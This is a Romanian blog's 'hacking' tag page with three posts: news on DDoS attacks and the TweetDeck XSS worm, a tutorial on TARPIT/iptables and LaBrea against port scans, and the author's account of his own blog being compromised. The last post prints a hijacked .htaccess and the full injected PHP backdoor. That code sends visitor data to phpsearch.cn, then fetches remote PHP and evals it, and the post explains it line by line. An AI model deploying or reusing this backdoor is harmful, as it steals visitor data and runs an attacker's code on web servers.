Etichetă: hacking

În vreme de război

Twitter + TweetDeck = LOVENici nu au trecut câteva ore după ce serviciul Evernote a fost atacat cu DDoS, că Feedly a și anunțat că este victima aceluiași tip de atac. Mai mult de atât, atacatorii le cer acestora din urmă bani pentru a opri atacul. Feedly a anunțat, pe blogul oficial, că a refuzat să negocieze și că lucrează pentru a restabili serviciul. Ulterior, problema a fost „rezolvată“ prin schimbarea adresei IP a serviciului. n00bs! 🙂

În urmă cu puțin timp, Tweetdeck a fost (și încă este) atacat cu XSS, acest atac constând într-o vulnerabilitate a serviciului, utilizatorii redistribuind, fără voia lor, scriptul respectiv.

Tweetdeck XSS

În timp ce scriu acest articol, Tweetdeck a anunțat că vulnerabilitatea a fost reparată, utilizatorii trebuie să se deconecteze de la serviciu și să se conecteze din nou, pentru ca actualizarea să fie activă. Cu toate astea, utilizatorii raportează că vulnerabilitatea este încă prezentă și utilizatorii continuie să redistribuie acel Tweet, fără voia lor.

Pentru că, se pare, socoteala de acasă nu se potrivește cu aia de pe Internet, Tweetdeck a anunțat că a oprit serviciul, pentru a analiza mai bine situația.  

Scânteia care a declanșat tot vine, aparent, de la utilizatorul @derGeruhn:

Tweetdeck XSS originatorACTUALIZARE 12 iunie: Conform articolului de pe siteul CNN, vulnerabilitatea a fost descoperită „din greșeală, de către utilizatorul @firoxl, care încerca să trimită „♥” (inimioare) pe Twitter.” A încercat să facă asta folosind codul HTML „♥” și, evident, atunci când a observat că Tweetdeck interpretează cod HTML, a anunțat triumfător „Vulnerabilitate descoperită în Tweetdeck \o/”.

Vine vara, lumea vrea la mare, la soare. În vreme de război e foame de bani. Fiecare îi face după cum îl taie capul…

TARPIT – un altfel de atac în rețea

Pentru că rețelele se extind continuu, rețelele care se numeau cândva „locale” devin din ce în ce mai mari și se extind cu viteze super-luminice, la fel și atacurile către servere sau sisteme personale. Și ce faci atunci când ești atacat cu un volum foarte mare de date căruia nu-i poți face față?

Bineînțeles că preferi să nu scoți totul din priză în speranța că atacul se va opri și nu se va mai întoarce în veci! Nu! Tu vrei să demonstrezi că faci față greutăților și că îl poți înfrunta cu curaj.

Și pentru că un server bun are ca sistem de operare – Linux, vă voi explica foarte pe scurt cum puteți opri orice atac și nu doar atât! Veți putea contra-ataca și – cu puțin noroc – veți putea pune atacatorul „pe butuci”.

Nu vă așteptați să deveniți hackeri după citirea acestui articol pentru că nu ăsta e scopul său ci doar unul informativ, pentru punerea acestor idei în practică fiind necesare câteva cunoștințe în domeniu, cunoștințe pe care le puteți aprofunda documentându-vă despre acest procedeu de „contra-atac”.

În primul rând, orice conexiune care pleacă de la atacatorul A către destinația B are nevoie de puțină comunicare, astfel:

– A scanează un port pe B. Portul va apărea deschis, indiferent dacă rulează vreun serviciu pe el sau nu

– A așteaptă până când B închide conexiunea, ceea ce nu se va întâmpla niciodată, deci A va da timeout.

Cam atât de interesează. Imaginați-vă ce s-ar întâmpla dacă A ar aștepta un timp nelimitat pentru răspunsul lui B din pasul 2! A ar rămâne captiv în acea conexiune până când dă timeout. Să zicem că va deschide o nouă conexiune iar aceasta va deveni o nouă capcană pentru A, B netrimițându-i confirmarea de primire. Și tot așa…

Într-un final, A va fi suprasolicitat cu deschiderea de conexiuni și așteptarea închiderii conexiunilor. De obicei, asta are ca rezultat suprasolicitarea procesorului din A și (dacă B e norocos) „bubuirea” lui. La propriu!

Și pentru că nimic nu te fixează mai bine pe poziție decât un super-adeziv (ceva gen „super-glue”), capcana noastră trebuie să fie o groapă. Da! O groapă simplă umplută cu un super-adeziv. De exemplu – smoală! Multă smoală! În engleză se traduce TARPIT.

„Atacul” tarpit face exact ce v-am zis mai sus: anunță toate porturile ca deschise și amână închiderea conexiunii către acel port, pe cât de mult posibil. Pentru o astfel de distracție, avem nevoie de modulul TARPIT.

apt-get install xtables-addons-common

 

După instalare, TARPIT poate fi folosit imediat cu ajutorul iptables, astfel:

iptables -A INPUT -p tcp -j TARPIT

 

ATENȚIE! Această comandă va introduce în tarpit toate pachetele TCP din INPUT. Nu se recomandă lansarea acestei comenzi pe un sistem în producție întrucât va anunța toate cele 65000+ porturi ca deschise și poate că nu vrem asta deocamdată. 🙂

Pentru a vă familiariza cu modul de funcționare al TARPIT, vă recomand să citiți documentația disponibilă pe internet și să nu îl folosiți până nu ați înțeles pe deplin modul de funcționare.

Cu TARPIT vă puteți proteja împotriva portscan-urilor, atacatorii având impresia că destinația are toate porturile deschise, ceea ce va duce cu siguranță la prinderea sa în capcană și oprirea imediată a atacului (din cauza „extenuării” sursei).

Punerea în practică se va dovedi folositoare în nenumărate situații. De exemplu, dacă doriți să protejați un server de mail, veți folosi TARPIT pentru a preveni scanarea porturilor și/sau încercările de „brute force” către server.

O altă situație în care TARPIT se va dovedi folositor este aceea în care un sistem este atacat din surse mascate (spoof), nemaifiind nevoie de aflarea IPului/IPurilor sursă. Vom configura IPTABLES astfel încât să intercepteze conexiunile multiple sau anormale către porturile pe care le dorim protejate, TARPIT ocupându-se de restul.

Un tool foarte folositor în acest sens este LaBrea (vezi la sfârșitul articolului), soft cu care puteți pune în aplicare cele de mai sus într-un mod mult mai ușor. Descrierea acestui soft spune astfel:

LaBrea is a program that creates a tarpit or, as some have called it, a „sticky honeypot”. LaBrea takes over unused IP addresses on a network and creates „virtual machines” thatanswer to connection attempts. LaBrea answers those connection attempts in a way that causes the machine at the other end toget „stuck”, sometimes for a very long time.

Cu toate astea, atacul TARPIT este considerat ca „anti-social” tocmai din cauza modului său de funcționare. Din punctul meu de vedere, anti-social este tocmai cel pe care-l mănâncă undeva să vadă ce porturi ai tu deschise.

În orice caz… spor la documentat și play safe! 😉

Referințe:

Azi am învățat un lucru MARE!

Azi am învățat un lucru mare! Și pentru că țin la sănătatea voastră vi-l spun și vouă.

Azi am învățat că nu e bine să umbli la blog când ești băut!

777 can happen! Mai exact am fost hăckuit. Și recunosc că din cauza mea!

Se făcea că un labă-tristă din China (phpsearch.cn) a găsit niște foldere cu CHMOD 777 și și-a făcut de cap pe acolo injectând câteva PHP-uri de forma <număr>.php, de exemplu 22314.php. Nu făceau mare căcat decât luau datele vizitatorilor despre browser, ip, țară etc. Apoi le raportau pe un server.

A reușit să modifice fișierul .htaccess făcând ca toate erorile 404 (Not Found) să fie redirectate către fișierul PHP. De altfel, ăsta e și modul în care codul lui se executa: dacă cineva ajungea la blog pe o pagină inexistentă și i se returna eroarea 404 Not Found.

Partea tristă pentru chinez a fost că am observat la doar 2 ore după „eveniment”, timp în care lumea dormea pe acolo pe unde locuiesc vizitatorii mei.

Mai jos este un exemplu de .htaccess hăckuit:

Options -MultiViews
ErrorDocument 404 //cale-catre-blog/226531.php

Și aici este codul fișierului PHP:

< ?php
error_reporting(0);
$a = (isset($_SERVER["HTTP_HOST"]) ? $_SERVER["HTTP_HOST"] : $HTTP_HOST);
$b = (isset($_SERVER["SERVER_NAME"]) ? $_SERVER["SERVER_NAME"] : $SERVER_NAME);
$c = (isset($_SERVER["REQUEST_URI"]) ? $_SERVER["REQUEST_URI"] : $REQUEST_URI);
$d = (isset($_SERVER["PHP_SELF"]) ? $_SERVER["PHP_SELF"] : $PHP_SELF);
$e = (isset($_SERVER["QUERY_STRING"]) ? $_SERVER["QUERY_STRING"] : $QUERY_STRING);
$f = (isset($_SERVER["HTTP_REFERER"]) ? $_SERVER["HTTP_REFERER"] : $HTTP_REFERER);
$g = (isset($_SERVER["HTTP_USER_AGENT"]) ? $_SERVER["HTTP_USER_AGENT"] : $HTTP_USER_AGENT);
$h = (isset($_SERVER["REMOTE_ADDR"]) ? $_SERVER["REMOTE_ADDR"] : $REMOTE_ADDR);
$i = (isset($_SERVER["SCRIPT_FILENAME"]) ? $_SERVER["SCRIPT_FILENAME"] : $SCRIPT_FILENAME);
$j = (isset($_SERVER["HTTP_ACCEPT_LANGUAGE"]) ? $_SERVER["HTTP_ACCEPT_LANGUAGE"] : $HTTP_ACCEPT_LANGUAGE);
$z = "/?" . base64_encode($a) . "." . base64_encode($b) . "." . base64_encode($c) . "." . base64_encode($d) . "." . base64_encode($e) . "." . base64_encode($f) . "." . base64_encode($g) . "." . base64_encode($h) . ".e." . base64_encode($i) . "." . base64_encode($j);
$f = base64_decode("cGhwc2VhcmNoLmNu");
if (basename($c) == basename($i) &amp;amp;&amp;amp; isset($_REQUEST["q"]) &amp;amp;&amp;amp; md5($_REQUEST["q"]) == "51e1225f5f7bca58cb02a7cf6a96dddd")
$f = $_REQUEST["id"];
if((include(base64_decode("aHR0cDovL2FkczEu").$f.$z)));
else if($c = file_get_contents(base64_decode("aHR0cDovLzcu").$f.$z))
eval($c);
else
{
$cu = curl_init(base64_decode("aHR0cDovLzcxLg==").$f.$z);
curl_setopt($cu,CURLOPT_RETURNTRANSFER,1);
$o = curl_exec($cu);
curl_close($cu);
eval($o);
};
?>;

Pe românește, codul de mai sus face așa:

– linia 2 dezactivează raportarea erorilor pentru ca scriptul să ruleze transparent

– liniile 3-12 colectează date despre cererea http

– linia 13 pune toate datele colectate în variabila $z

– linia 14 atribuie variabilei $f URL-ul site-ului respectiv: phpsearch.cn

– liniile 15-16 verifică dacă cererea a fost trimisă de pe serverul atacator

– linia 17 include fișierul de la adresa http://7.phpsearch.cn/?(datele colectate)

– linia 18 încearcă să încarce fișierul, dacă a eșuat includerea din linia 17

– linia 19 evaluează fișierul remote ca PHP

– liniile 22-26 încearcă folosirea extensiei CURL pentru încărcarea fișierului, ca ultimă variantă de atac.

Și uite-așa am învățat că niciodată să nu umbli la blog sau FTP când ai alcool la bord.

Shit 777 can happen!

© 2019 Din PTM în .ro

Theme by Anders NorenUp ↑